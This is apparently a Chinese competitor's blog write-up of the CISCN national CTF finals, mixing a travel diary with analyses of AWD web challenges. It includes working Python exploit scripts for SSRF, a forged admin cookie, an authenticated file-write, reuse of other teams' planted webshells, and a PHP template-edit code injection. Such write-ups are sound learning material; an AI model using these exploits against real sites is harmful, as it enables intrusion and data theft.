流水账似的记录一下这次国赛决赛的经历,对我来说收获还是很多的,从15号开始,四天都在头脑风暴,学到了很多姿势,把自己比赛经历分享给大家,以及给自己做一个总结,感谢队伍里师傅爷爷们的输出,最后算是获得了一个还不错的名次。
Day 1
大概九点就起来去机场了,十点左右的时候到的机场,由于哈尔滨当时的天气是长这样子的:
于是乎从11点就开始通知延误了,一直延迟到了14点才登的飞机,幸好没有延误太久,看到群里有老哥延误了一天,十分庆幸
不过深圳的天倒是很蓝
顺便和某位师傅在飞机上看了《黑寡妇》,队友们:
By the way,顺便插播个渣女语录,当我14号晚跟某位不愿透露姓名的网友聊天时:
六点到的哈尔滨,这应该算是夕阳?
下飞机的时候跟T4rn师傅聊天,听说我们赛区半决赛的赛题是他出的,先膜了,很遗憾这次没有面基师傅
下飞机打车到酒店大概花了50分钟左右的时间,在附近找了一家火锅店,4人只要148,量还贼大,再次感慨深圳的物价
晚上比较重头戏,先是官方公布了比赛细则(u1s1实在是太慢了),同时也放出了除了路由网关之外的网络拓扑以及提交方式,于是今晚都在补脚本,弄到了晚上五点。
以上。
Day 2
五点睡八点起,队友@examine 八点就起来改脚本了,明年北京冬奥铁人三项没你我不看
下午去哈工大签到
场地有吃席内味了
我们队的小flag(薅羊毛对象+1)
晚上在哈工大食堂吃了凉皮,味道还可以,就是印象不佳,一个食堂居然没有空调!热起来了之后食欲都没了
晚上听了华为未然实验室吹水,给了一堆招聘指南
后面就回酒店了,一直核对防御流程,感觉还是太弱了,很多都没有准备好,当时全队都很没自信,想着不要优胜就好,被打爆预警。
Day3
第一天赛制是awd+可信计算,awd先放了两道web两道pwn,可信计算放了一题。放的web分别是10.1.x.2和10.1.x.4,为了方便下面称为web2和web4,下午两三点的时候放出了web10.1.x.3,后面称为web3。
这里的exp我用了自己的AWD框架进行了封装,要看直接当成正常的requests请求就行。
比赛的拓扑是80只队,靶机ip是10.1.{队伍id}.{题目id}。
队伍负责防御的师傅发现靶机没有py,脚本不能run,上的phplog防御导致了一波宕机之后我们WEB心态就有点小崩。
顺便一提这次的awdweb跟以前打过的awdweb很不一样,最明显的是控权了,设置了很多disable_Function避免攻击队对靶机造成破坏,已经设置了独特的flag请求方式。印象里flag的获得方式一直是这样的:
system('cat /flag')
这次awd安恒把flag整成了这样:
file_get_contents("http://flagserver.top/index.php?token=xxxxxx") // 远程请求flagserver
system("curl http://flagserver.top/index.php?token=xxxxxx") // 或者直接调用curl请求
大概就是拿到权限之后需要用靶机再次发起请求,请求远程服务器拿到flag再提交一次。还有就是由于set_time_limit和ignore_user_abort两个函数都被过滤了,不死马写不上了,至少在比赛结束时,我们的靶机都是挺干净的。
9点20分的时候白泽就拿到了web的一血,不清楚他们有没有打满第一轮,第二轮的时候就有几只队伍同样打通了。
由于延时流量,没有很及时的上车,也没扫出来洞但是其实这个洞很明显的,但是D盾没扫出来,然后主要是我当时判断大家都出的这么快应该是框架洞,就一直在尝试tp5的poc,以及eval之类的命令执行函数,完美的错过了点,后面关掉了强制路由变量还被check判down了。
大概在四五十分的时候PWN爷拿到了一血,把分数稳定了下来,然后白泽和我们分别拿了可信计算的一二血,10点开始我们的web2就上车写了exp,当时写的比较及时,写完之后还能打四五十只队,过了两轮就打不了多少了,大家都拿着流量上车了,然后应该是第五轮我们patch上了,然后我们短暂的体验了一会儿第一(虽然顶了还没两轮就很快就下去了,而且很快WEB2又被新payload打了)。
回到这个洞,简单的POC如下:
GET /index/Api/curlfun?url=http://flagserver.top/index.php?token=xxxxxx
tp5框架,可以看一下这里的逻辑,调用了Api控制器的curlfun函数,跟进一下
//curl获取数据
public function curlfun($url, $params = array(), $method = 'GET')
{
$header = array();
$opts = array(CURLOPT_TIMEOUT => 10, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => $header);
/* 根据请求类型设置特定参数 */
switch (strtoupper($method)) {
case 'GET' :
$opts[CURLOPT_URL] = $url . '?' . http_build_query($params);
$opts[CURLOPT_URL] = substr($opts[CURLOPT_URL],0,-1);
break;
case 'POST' :
//判断是否传输文件
$params = http_build_query($params);
$opts[CURLOPT_URL] = $url;
$opts[CURLOPT_POST] = 1;
$opts[CURLOPT_POSTFIELDS] = $params;
break;
default :
}
/* 初始化并执行curl请求 */
$ch = curl_init();
curl_setopt_array($ch, $opts);
$data = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
if($error){
$data = null;
}
return $data;
}
提交一个url就可以直接请求了,很遗憾当时没有立刻找出来,不过后来也给我提供了思路,毕竟awd以前都是奔着命令执行拿shell去的,这次awd有ssrf就够用了,要注意curl,file_get_contents之类的函数。
exp:
def exp1(ip, eid, pid):
exp1 = models.Exp(eid=eid)
# 黑名单检测
if not exp1.check(ip):
print("[-]blacklist")
return
# 请求
params = {
"url": f"http://flAgserver.top/index.php?token={database.TOKEN[pid]['get_token']}"
}
res = exp1.request(url=ip + "index/Api/curlfun", method="GET", headers=None, cookies=None, params=params, data=None, files=None)
# 提交 flag
exp1.submit(res=res, pid=pid)
这里的patch我们直接把flag过滤了(这里记得大小写不敏感,有队伍只过滤了flag,又被我们用flAg打上了)
patch完之后web2没维持两轮绿灯又被打了,和队伍师傅看流量又搞到了第二个payload。。
话说在两周前内部赛的时候我们队伍就有一名WEB手沉迷改后台密码,以至于后面长了记性,每次都记得先看一下密码,但无奈这次后台的密码我赛时没有找到,主要是翻看了config文件和其他文件找数据,没有仔细整理登录的链,其实这题不需要登录也可以绕过,但是不打紧,当时抄了攻击队登录的的Cookies接着又上车了,很舒服。
exp,直接用burp转的,当时写的比较久,因为后来发现是要token的,但是还是打了比较多的队,同理,大概一小时之后能打的靶机又没剩几个了,再同理,还有队伍用flAG能打的。
跟踪一下这个payload,我们请求的是aiyx下的System控制器backupsbase方法,跟进到System控制器,这个System控制器有点意思,可以看到他是继承自Base的:
class System extends Base
{
public function __construct(){
parent::__construct();
if($this->otype != 3){
echo 'Error!';exit;
}
}
...
}
跟进Base基类的__construct()。
public function __construct(){
parent::__construct();
//session_unset();
//验证登录
$login = cookie('denglu');
if(!isset($login['userid'])){
$this->error('请先登录!','login/login',1,1);
}
if(!isset($login['token']) || $login['token'] != md5('dbapp')){
$this->redirect('login/logout');
}
$request = \think\Request::instance();
$contrname = $request->controller();
$actionname = $request->action();
$this->assign('contrname',$contrname);
$this->assign('actionname',$actionname);
$this->otype = $login['otype'];
$this->uid = $login['userid'];
$this->assign('otype',$this->otype);
}
我们可以得到对登录的check如下,获得名为’denglu’的Cookie,分别检测是否存在userid,以及token的值是否为dbapp的md5的值,结合上面System类的__construct(),otype必须为3,了解思路之后就很好构造了。 再回到backupsbase()
/**
* 数据备份到服务器
* @author lukui 2017-02-17
* @return [type] [description]
*/
public function backupsbase()
{
$type=input("tp");
$name=input("name");
$sql=new \org\Baksql(\think\Config::get("database"));
switch ($type)
{
case "backup": //备份
return $sql->backup();
break;
case "dowonload": //下载
$sql->downloadFile($name);
break;
case "restore": //还原
return $sql->restore($name);
break;
case "del": //删除
return $sql->delfilename($name);
break;
default: //获取备份文件列表
return $this->fetch("db_bak",["list"=>$sql->get_filelist()]);
}
}
更近download:
/**
* 下载备份
* @param string $fileName
* @return array|mixed|string
*/
public function downloadFile($fileName) {
$fileName=$fileName;
ob_end_clean();
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . basename($fileName));
readfile($fileName);
}
所以最后我们需要做出的请求是
readfile('http://flAgserver.top/index.php?token={token}');
exp:
def exp2(ip, eid, pid):
exp2 = models.Exp(eid=eid)
# 黑名单检测
if not exp2.check(ip):
print("[-]blacklist")
return
# 请求
cookies = {
"denglu": "think:{\"otype\":\"3\",\"userid\":\"1\",\"username\":\"admin\",\"token\":\"2b1f613841e255297fc4ca74be3a95fc\"}"
}
data = {"name": f"http://flAgserver.top/index.php?token={database.TOKEN[pid]['get_token']}",
"tp": "dowonload",
}
res = exp2.request(url=ip + "aiyx/System/backupsbase", method="GET", cookies=cookies, data=data)
# 提交 flag
exp2.submit(res=res, pid=pid)
由于这个时候这道题目通知马上要下线了,刚好Web4的一血也出了,所以跟运维的师傅商量了一下没patch了(主要是当时没时间),去看Web4了的log了,后面被平白打了两轮还是蛮亏的。
然后跳去看Web4,Web4被打的Log大概是这样的:
POST /admin?redirect=/filemanager/edit/img?file=/homepage/photo1.jpg&url=http://flagserver.top/index.php?token={token}
{
"username": "admin@admin.com",
"password": "admin@admin.com"
}
Web4是个blog,同样有登录功能,我们先来分析一下它的登录流程,可以找一下用户名和密码,用户名在两处有提示,一个是数据库安装文件:
insert into #prefix#user (id, email, password, session_id, expires, name, type, signed_up, updated, userdata) values (1, 'admin@admin.com', '$2y$10$w9ZitMtP9WIjmYQrsE41OOJglSrAKnpUQEnxUOytum1OVMwk4aDqa', null, (DATETIME('now')), 'Admin User', 'admin', (DATETIME('now')), (DATETIME('now')), '[]');
还有config.php也有:
email_from = "admin@admin.com"
password就比较难搞,可以看到数据库传入的password是经过加密的。加密方式是啥我们是可以朔源的,可以看到大部分的pwd都调用了:
$user->pwd = $docEncryption->to_string();
跟进之后可以看到加密方式:
function to_string()
{
$tmpstr = $this->get_jxqy3();
$tmpstr = substr($tmpstr,-35).substr($tmpstr,0,40);
return $tmpstr;
}
加密:
function get_jxqy3()
{
$tmpMS = $this->get_shal().$this->get_md5();
$tmpNewStr = substr($tmpMS,0,9).'s'.substr($tmpMS,10,9).'h'.substr($tmpMS,20,9).'l'.substr($tmpMS,30,9).'s'.substr($tmpMS,40,9).'u'.substr($tmpMS,50,9).'n'.substr
($tmpMS,60,9).'y'.substr($tmpMS,70,2);
$tmpNewStr = substr($tmpNewStr,-36).substr($tmpNewStr,0,36);
$tmpNewStr = substr($tmpNewStr,0,70);
$tmpNewStr = substr($tmpNewStr,0,14).'j'.substr($tmpNewStr,14,14).'x'.substr($tmpNewStr,28,14).'q'.substr($tmpNewStr,32,14).'y'.substr($tmpNewStr,56,14).'3';
return $tmpNewStr;
}
谢邀,看到这里完全劝退了,逆向手狂喜。
鉴于密码还是admin@admin.com,所以我更倾向于大家应该是通过弱密码解出来的,如果是手撕逆向的web手那也太强了8orz。
至于为什么知道密码是admin@admin.com?因为对手的poc有带上这个data,依然舒服上车。
然后登录之后是没有修改密码功能的,所以想通过修改密码防守是不太行的。
接下来的追踪对我来说是噩梦,在当时我们就没有追踪出来,由于对这个框架整个调用流程都很陌生,都是一步步慢慢摸索的,我们再来回头看这个路由
/admin?redirect=/filemanager/edit/img?file=/homepage/photo1.jpg&url=http://flagserver.top/index.php?token={token}
当时没有具体的做框架路由分析(真的血亏,但也是真的没时间,能现场挖洞的师傅辣是真滴牛皮),当时只能根据MVC框架做个大概的分析,大概初步推测是在admin的模板下通过redirect重定向到filemanager模板的edit控制器下的img函数,通过传入file来获得一个文件并且调用file_get_contents,传入参数url进行重写文件。
于是我遇到的问题就是/filemanager/edit/img的路由到底在哪里,并没有找到这个函数,以及为什么在模板下就可以重定向。于是赛后重新分析,下面正儿八经的网站框架MVC分析(由于是完全逆着分析的,我感觉部分还是有错,有什么错误的地方恳请师傅们指出,欢迎一起探讨):
我们可以看到网站app下的文件夹目录是这样的:
看上面请求的路由,其中/admin和/filemanager都欣然在列,所以我姑且认定这些文件夹是多用户app目录或者是模块。那下面的值怎么调用,例如admin如何请求重定向,以及/edit/img的调用方式是什么?
我们看一下所有模块下的结构,如下:
其他暂且不表,文件夹models/views/handlers组成了大家熟悉的MVC架构,但是作为一个模块,/admin又是如何传参的?这里就说不通了,于是大胆猜测,真正的路由是/admin/index,由于调用的是默认的控制器,所以被省略了!跟进index.php,可以看到熟悉的$redirect:
if (isset ($_GET['redirect'])) {
$_POST['redirect'] = $_GET['redirect'];
}
跟进这个参数,它在这里进入了一个check,由于存在这个参数,我们可以看一下Validator::validate做了什么:
if (! isset ($_POST['redirect'])
|| empty ($_POST['redirect'])
|| ! Validator::validate ($_POST['redirect'], 'header')
|| ! Validator::validate ($_POST['redirect'], 'localpath')
) {
$_POST['redirect'] = $appconf['General']['login_redirect'];
}
...
case 'header':
return ! (bool) preg_match ('/[\r\n]/s', $value);
case 'localpath':
$filtered = filter_var ($value, FILTER_SANITIZE_URL);
if ($filtered !== $value) {
return false;
}
$value = filter_var ($value, FILTER_SANITIZE_URL);
if ($value === '/') {
return true;
}
if (preg_match ('|^/[^/]|', $value)) {
return true;
}
return false;
第一个删掉了\r\n,第二个限定了请求的重定向的目录必须是本地路径,而不是其他网站,限制了一下重定向攻击。
这里我们提交的payload为redirect=/filemanager/edit/img,即重定向到了/filemanager下的……下的什么呢?
经验告诉我,会重定向到filemanager下的handlers下的edit.php,并且调用下面img方法,并且比赛中我就是这么认为实现的,但是进入edit.php,会发现其实并没有img()这个方法,这也是我刚开始打比赛的时候搜索全局函数没有搜到img最后也没有patch上的原因。这里的目录是这样子的:
这里可以看出差别,其实我们并不是进入了edit控制器调用img函数,而是进入了edit目录下的img.php!结合上面/admin/index这样的路由,这样的推测其实是正确的,我们实际上只是调用了img.php,并没有调用其中的任何函数,我们跟进img.php进行check,每一步发生什么我都根据我的理解进行了注释。
<?php
/**
* Save the changes from Aviary for an image.
*/
$this->require_admin ();
$page->layout = false;
header ('Content-Type: application/json');
if (! isset ($_GET['file'])) { // 是否提交了file参数
echo json_encode (array (
'success' => false,
'error' => __ ('No file specified.')
));
return;
}
if (! FileManager::verify_file ($_GET['file'])) { // 验证文件是否存在
echo json_encode (array (
'success' => false,
'error' => __ ('Invalid file.')
));
return;
}
if (! isset ($_GET['url'])) { // 验证是否GET存在$url参数
echo json_encode (array (
'success' => false,
'error' => __ ('No image url specified.')
));
return;
}
$res = fetch_url ($_GET['url']);
if (! $res) { // URL是否能进行正常解析
echo json_encode (array (
'success' => false,
'error' => __ ('Updated image not found.')
));
return;
}
if (! file_put_contents (conf('Paths','filemanager_path') . '/' . $_GET['file'], $res)) { // 最终将url请求的参数写入文件
echo json_encode (array (
'success' => false,
'error' => __ ('Unable to write to the file. Please check your folder permissions and try again.')
));
return;
}
echo json_encode (array (
'success' => true,
'data' => __ ('File saved.')
));
这样发生什么就很清楚了,从/admin模块的index控制器重定向到/filemanager模块下的/edit/img控制器并且通过了url写入文件flag,这也是为什么我刚开始请求图片文件下马获得的flag都会报错,因为我拿到的是别的队伍的token的flag。如果多个队伍同时请求一个图片文件,你甚至还需要跟他们条件竞争。
最终exp:
// 两个都行
def exp4(ip, eid, pid):
exp4 = models.Exp(eid=eid)
# 黑名单检测
if not exp4.check(ip):
print("[-]blacklist")
return
# 请求
data = {
"redirect": f"/filemanager/edit/img?file=/homepage/photo4.jpg&url=http://flagserver.top/index.php?token={database.TOKEN[pid]['get_token']}",
"username": "admin@admin.com",
"password": "admin@admin.com"
}
exp4.request(url=ip + "admin", method="POST", data=data)
res = exp4.request(url=ip +"files/homepage/photo4.jpg", method="GET")
# 提交 flag
exp4.submit(res=res, pid=pid)
def exp5(ip, eid, pid):
exp5 = models.Exp(eid=eid)
# 黑名单检测
if not exp5.check(ip):
print("[-]blacklist")
return
# 请求
data = {
"username": "admin@admin.com",
"password": "admin@admin.com"
}
params = {
"redirect": f"/filemanager/edit/img?file=/homepage/photo1.jpg&url=http://flagserver.top/index.php?token={database.TOKEN[pid]['get_token']}"
}
exp5.request(url=ip + "admin", method="POST", params=params, data=data)
res = exp5.request(url=ip +"files/homepage/photo1.jpg", method="GET")
# 提交 flag
exp5.submit(res=res, pid=pid)
这个exp大概是在两点写好的,那个时候我们大概掉到五六名了?交了之后和pwn爷爷们又把分数顽强的拉回去了一点,这个时候爷爷们已经在看可信计算了,第三个Web是Web3,当时已经放出而且被拿一血了。当时我让运维师傅去修洞,但是反而把靶机弄宕机了,所以我又硬着头皮去修洞了,师傅去看Web3的日志了。由于当时没有分析到洞,瞎几把patch我们最终没patch上,最后又去看Web3的流量分析了,最后三点左右写好了Web3的exp,离比赛结束剩下两小时左右,这里浪费了很多时间,Web背大锅。
Web3这道题比较有意思,它控制权限不能写入不死马,但是由于这道题是可以上传文件的,它成为了唯一一道(至少在我看到的)能写入马的题目,于是有很多队伍在这道题写马,但是由于没有做好加密,最后反而被我用上了,后面再提。由于这道题被某只队伍打全场了,所以就算我们没patch他也宕机了,我跟工作人员反馈后也没有补分数,宕机了挺久,血亏。
当时流量包抓到的exp:
GET /getRemoteImage.php?upfile=http://flagserver.top/index.php?token=xxxxxx%26123=aurora.gif
这个exp写起来其实特别的简单,只有简单的请求,当时很快就写好了,但是由于是赛后分析,我还是分析一下漏洞的成因和具体路由的走向吧。
进入该文件,追踪upfile
$uri = htmlspecialchars($_POST['upfile']);
//Ajax提交的网址内容中如果包含了&符号,上述函数会将其转成&导致地址解析不对,这里要转回来
$uri = str_replace("&", "&", $uri);
传入这里的upfile变量(注意这里GET和POST都可以,应该是有配置过或者赋值过,我没细找)使用htmlspecialchars过滤了一次,走了一次字符串替换,然后进入函数getRemoteImage()。
function getRemoteImage($uri) {
//忽略抓取时间限制
set_time_limit(0);
//远程抓取图片配置
$config = array(
"savePath" => "../../.." . UPLOADPATH, //保存路径
"fileType" => array(".gif", ".png", ".jpg", ".jpeg", ".bmp"), //文件允许格式
"fileSize" => 3000, //文件大小限制,单位KB
);
//ue_separate_ue ue用于传递数据分割符号
$imgUrls = explode("ue_separate_ue", $uri);
$tmpNames = array();
foreach ($imgUrls as $imgUrl) {
//http开头验证
if (strpos($imgUrl, "http") !== 0) {
array_push($tmpNames, "error");
continue;
}
//获取请求头
$heads = get_headers($imgUrl);
//死链检测
if (!(stristr($heads[0], "200") && stristr($heads[0], "OK"))) {
array_push($tmpNames, "error");
continue;
}
//格式验证(扩展名验证和Content-Type验证)
$fileType = strtolower(strrchr($imgUrl, '.'));
if (!in_array($fileType, $config['fileType']) || stristr($heads['Content-Type'], "image")) {
array_push($tmpNames, "error");
continue;
}
//打开输出缓冲区并获取远程图片
ob_start();
$context = stream_context_create(
array(
'http' => array(
'follow_location' => false, // don't follow redirects
),
)
);
//请确保php.ini中的fopen wrappers已经激活
readfile($imgUrl, false, $context);
$img = ob_get_contents();
ob_end_clean();
//大小验证
$uriSize = strlen($img); //得到图片大小
$allowSize = 1024 * $config['fileSize'];
if ($uriSize > $allowSize) {
array_push($tmpNames, "error");
continue;
}
//创建保存位置
$savePath = $config['savePath'];
$ymd = date("Ymd");
$savePath .= "Image/" . $ymd . "/";
if (!is_dir($savePath)) {
mkdir($savePath, 0777);
}
//写入文件
$tmpName = $savePath . rand(1, 10000) . time() . strrchr($imgUrl, '.');
try {
$fp2 = @fopen($tmpName, "a");
fwrite($fp2, $img);
fclose($fp2);
array_push($tmpNames, $tmpName);
} catch (Exception $e) {
array_push($tmpNames, "error");
}
}
/**
* 返回数据格式
* {
* 'url' : '新地址一ue_separate_ue新地址二ue_separate_ue新地址三',
* 'srcUrl': '原始地址一ue_separate_ue原始地址二ue_separate_ue原始地址三',
* 'tip' : '状态提示'
* }
*/
$url = ROOTPATH . '/' . strrchr(implode("ue_separate_ue", $tmpNames), 'upload');
echo "{'url':'" . $url . "','tip':'远程图片抓取成功!','srcUrl':'" . $uri . "'}";
}
先是写定了文件上传目录在upload下,分别做了http请求头限制、检测访问是否200、以及限制了读取的文件的文件拓展名(这里可以通过get提交参数绕过)。
if (strpos($imgUrl, "http") !== 0) {
array_push($tmpNames, "error");
continue;
}
//获取请求头
$heads = get_headers($imgUrl);
//死链检测
if (!(stristr($heads[0], "200") && stristr($heads[0], "OK"))) {
array_push($tmpNames, "error");
continue;
}
//格式验证(扩展名验证和Content-Type验证)
$fileType = strtolower(strrchr($imgUrl, '.'));
if (!in_array($fileType, $config['fileType']) || stristr($heads['Content-Type'], "image")) {
array_push($tmpNames, "error");
continue;
}
这里可以通过缓冲区读入文件内容,依然是用readfile读取了远程并写入$img,并最后写入文件。
//打开输出缓冲区并获取远程图片
ob_start();
$context = stream_context_create(
array(
'http' => array(
'follow_location' => false, // don't follow redirects
),
)
);
//请确保php.ini中的fopen wrappers已经激活
readfile($imgUrl, false, $context);
$img = ob_get_contents();
ob_end_clean();
这里的文件名会通过时间函数获取
//创建保存位置
$savePath = $config['savePath'];
$ymd = date("Ymd");
$savePath .= "Image/" . $ymd . "/";
同理exp也是可以直接获取时间的,但是有更快的方法,上传文件后会返回远程文件抓取成功的提示
echo "{'url':'" . $url . "','tip':'远程图片抓取成功!','srcUrl':'" . $uri . "'}";
按照这个格式正则匹配即可,exp:
def exp3(ip, eid, pid):
exp3 = models.Exp(eid=eid)
# 黑名单检测
if not exp3.check(ip):
print("[-]blacklist")
return
# 请求
params = {
"upfile": f"http://flagserver.top/index.php?token={database.TOKEN[pid]['get_token']}&123=aurora.gif"
}
res1 = exp3.request(url=ip + "getRemoteImage.php", method="GET", params=params)
path = re.findall("'url':'([\s\S]*)','tip'", res1.text)[0]
res2 = exp3.request(url=ip + path, method="GET")
# 提交 flag
exp3.submit(res=res2, pid=pid)
三点左右出的,大概这个时候队伍的爷爷已经把可信计算AK了,于是我们又神奇的拉回了第四名。
这段时间又出了插曲,有一只打全场的队伍把很多靶机都打挂了,我们也是其中之一,后来宕机没补分,我们又重置了,血亏一波。
后面就比较无聊了,检查各个队伍发来的流量找exp,这个时候大概也没有新的exp了,倒是在靶机里找到了别人种的马,有几个是有加密的,有几个是直接调用file_get_content的,这几个我们都利用不上,但是找到了两个直接明文弱密码的,很舒服的上车了。
exp1
def exp6(ip, eid, pid):
exp6 = models.Exp(eid=eid)
# 黑名单检测
if not exp6.check(ip):
print("[-]blacklist")
return
# 请求
data = {
"1": f"var_dump(file_get_contents('http://flagserver.top/index.php?token={database.TOKEN[pid]['get_token']}'));"
}
res = exp6.request(url=ip + ".1.php", method="POST", data=data)
# 提交 flag
exp6.submit(res=res, pid=pid)
exp2
def exp7(ip, eid, pid):
exp7 = models.Exp(eid=eid)
# 黑名单检测
if not exp7.check(ip):
print("[-]blacklist")
return
# 请求
params = {
"a": f"echo file_get_contents('http://flagserver.top/index.php?token={database.TOKEN[pid]['get_token']}')"
}
res = exp7.request(url=ip + "cache/blog_x5tar.phtml", method="GET", params=params)
# 提交 flag
exp7.submit(res=res, pid=pid)
恰了一波红利,感谢大师傅们送flag。
50分的截图
最后北邮的师傅们囤了一个可信计算的flag打到了第五名,我们最后是第六名,师傅们tql。
补充一下,在看到了Xenny师傅对CISCN的复盘之后,又发现了Web3自己没有找到的exp,这里设为exp8。
def exp8(ip, eid, pid):
exp8 = models.Exp(eid=eid)
# 黑名单检测
if not exp8.check(ip):
print("[-]blacklist")
return
# 请求 1
params = {
'act': 'login',
'username': 'admin',
'pwd': 'admin'
}
exp8.request(url=ip + 'admini/login.php', method="GET", params=params)
# 请求 2
data = {
'fileName': './index/article/article_3.php',
'fileCode': f'''<?php print_r(file_get_contents('http://flagserver.top/index.php?token={database.TOKEN[pid]['get_token']}'))?>'''
}
params = {
'm': 'system',
's': 'changeskin',
'a': 'saveFileCode'
}
exp8.request(url=ip + 'admini/index.php', method="POST", params=params, data=data)
# 请求 3
res = exp8.request(url=ip + 'skins/doccms_model_1/index/article/article_3.php', method="GET")
# 提交 flag
exp8.submit(res, pid=pid)
这里的逻辑比较清晰,首先通过弱密码admin/admin登录后进入后台,请求路由m=system&s=changeskin&a=saveFileCode(我没找到这部分的配置文件,希望有师傅可以指点一下)。
通过经验我们可以查看admini目录下的controllers/system目录下的changeskin.php的saveFileCode函数,
function saveFileCode()
{
global $request,$fileCode;
if(empty($request['fileCode']))die('数据为空!');
$request['fileName'] = filter_submitpath( $request['fileName'] ); //过滤ok
$fname = array_pop( explode('/',$request['fileName']) );
$keditFileTypes = array('php','shtml','html','htm','xml','log','txt','js','css');
$ext = extendName($fname);
if(empty($ext) || !in_array($ext,$keditFileTypes))
{
exit('0::此类型文件不允许编辑');
}
$curFile = get_abs_skin_root().$request['fileName'];
if(is_file($curFile))
{
$filesizelimit=array('php'=>100,'shtml'=>100,'html'=>100,'htm'=>100,'xml'=>50,'log'=>200,'txt'=>200,'js'=>300,'css'=>200);
if(cnStrLen($request['fileCode'])>1024*$filesizelimit[$ext]) die('此文件超过'.$filesizelimit[$ext].'k,禁止操作!');
$fileExt = trim(substr($request['fileName'],strpos($request['fileName'],'.')+1,strlen($request['fileName'])));
if($fileExt=='php' || $fileExt=='html' || $fileExt=='htm' || $fileExt=='shtml' || $fileExt=='css' || $fileExt=='js' || $fileExt=='xml' || $fileExt=='log' || $fileExt=='txt')
{
/*还原 信息 开始*/
$str=str_replace('\n', '<--n-->', $request['fileCode']); //换行符转义避免被下面的标签过滤掉反斜杠
$str=stripslashes($str); //过滤文件敏感信息
$str=str_replace('{##}','&',$str); //js转码替代方案
$str=str_replace('{####}','+',$str); //连接符
$str=str_replace('<--n-->', PHP_EOL, $str); //转义后的换行符再转义回来
/*还原 信息 结束*/
if(mb_detect_encoding($str)!='UTF-8' && mb_detect_encoding($str)!='ASCII')
{
@unlink($curFile);
string2file('尊敬的用户,该文件不是utf8编码 ,请将原文件代码手动粘贴到此,保存,并按提示修改',$curFile);
exit('粘贴文本请先转码成utf8编码');
}else{
string2file($str,$curFile);
exit('编辑成功');
}
}
else
{
exit('fobidden');
}
}
elseif(is_dir($curFile))
{
exit('禁止操作!');
}
else
die('此文件禁止操作!');
}
过滤比较多,一层层看,首先禁止目录穿越,检测到如果存在该文件才进行写入,且写入后缀允许为php后缀,最后进行一个写入文件的操作。
//生成新的文件($str为字符串,$filePath为生成时的文件路径包括文件名)
function string2file($str,$filePath)
{
//去除bom
$contents = file_get_contents($filePath);
$charset[1] = substr($contents, 0, 1);
$charset[2] = substr($contents, 1, 1);
$charset[3] = substr($contents, 2, 1);
if (ord($charset[1]) == 239 && ord($charset[2]) == 187 && ord($charset[3]) == 191) {
$str="\xEF\xBB\xBF".$str;
}
$fp=fopen($filePath,'wb');
fwrite($fp,$str);
fclose($fp);
return true;
}
写完读文件完事,感谢师傅的分享。
Day 4
这天的赛制是awd+,break+fix。这天我打的很混,Web没输出属实背锅,PWN爷打了两题,最后我们拿到了第一名。
Web4是唯一一题有解的题,几乎撞了HCTF的原题,指路hide and seek
https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/#hide-and-seek
https://ox1234.github.io/2019/03/27/HCTF%202018%20hide%20and%20seek%E5%A4%8D%E7%9B%98/
其实考察的就是zip包解压软链接的问题,不是一个新考点,利用软链接读取文件/proc/self/cmdline查看进程,可以看到在当前执行了一个类似cat upload/xxx/xxx这样的命令,也就是直接调用命令行读取文件,这就是为什么可以用软链接的原因。
接着读取/proc/self/envion,可以找到配置文件wsgi.ini的位置,找到应用的目录。
读取文件之后发现secret.key是通过uuid.getnode(),也就是本地mac地址来当做seed
读取文件/sys/class/net/eth0/address,转成十进制,通过伪造来越权。
(由于搭不起来环境,全靠yy了)
最终排名第七:
晚上华为之夜,这次比赛主办承办和赞助都还是很良心的,晚上有小活动,伙食也很舒服,就是最后抽奖450人抽250个奖还没抽到我,我也是醉了。
感谢队友指路,和诸葛建伟老师合影留念,合照就不放了,私藏乐呵。
总结
这次awd还是学到了很多东西的,以前打的awd我就是纯混子,很多事情都不会做,这次学到了很多姿势,涨了很多见识。
- 准备好自己读得懂的会用的会改的攻击脚本和防御脚本,这个就不用多说了。
- 根据赛制随机应变吧,比如这次诸如拿flag的方式和权限都做了很多限制,很多固有的awd套路都不能用了,又衍生了很多新的挖洞思路;还有就是要有一个好心态,心态不能先崩了,这次心态还算可以,感谢队友不骂我。
- 看流量yyds,好好看流量,就算只是看流量+写exp+patch,flag总会有的。
- web的代码审计和敏感函数审查都很重要,前者可以全局分析,后者可以快速定位漏洞。
- PWN就是爷
其他就不多说了,很多awd分享都写了很详细了,感谢主办方给我们带来精彩的周末。
lt太强辣
yashilale
我酸了,llt太强了
水军?
llt太强了,我是你的迷弟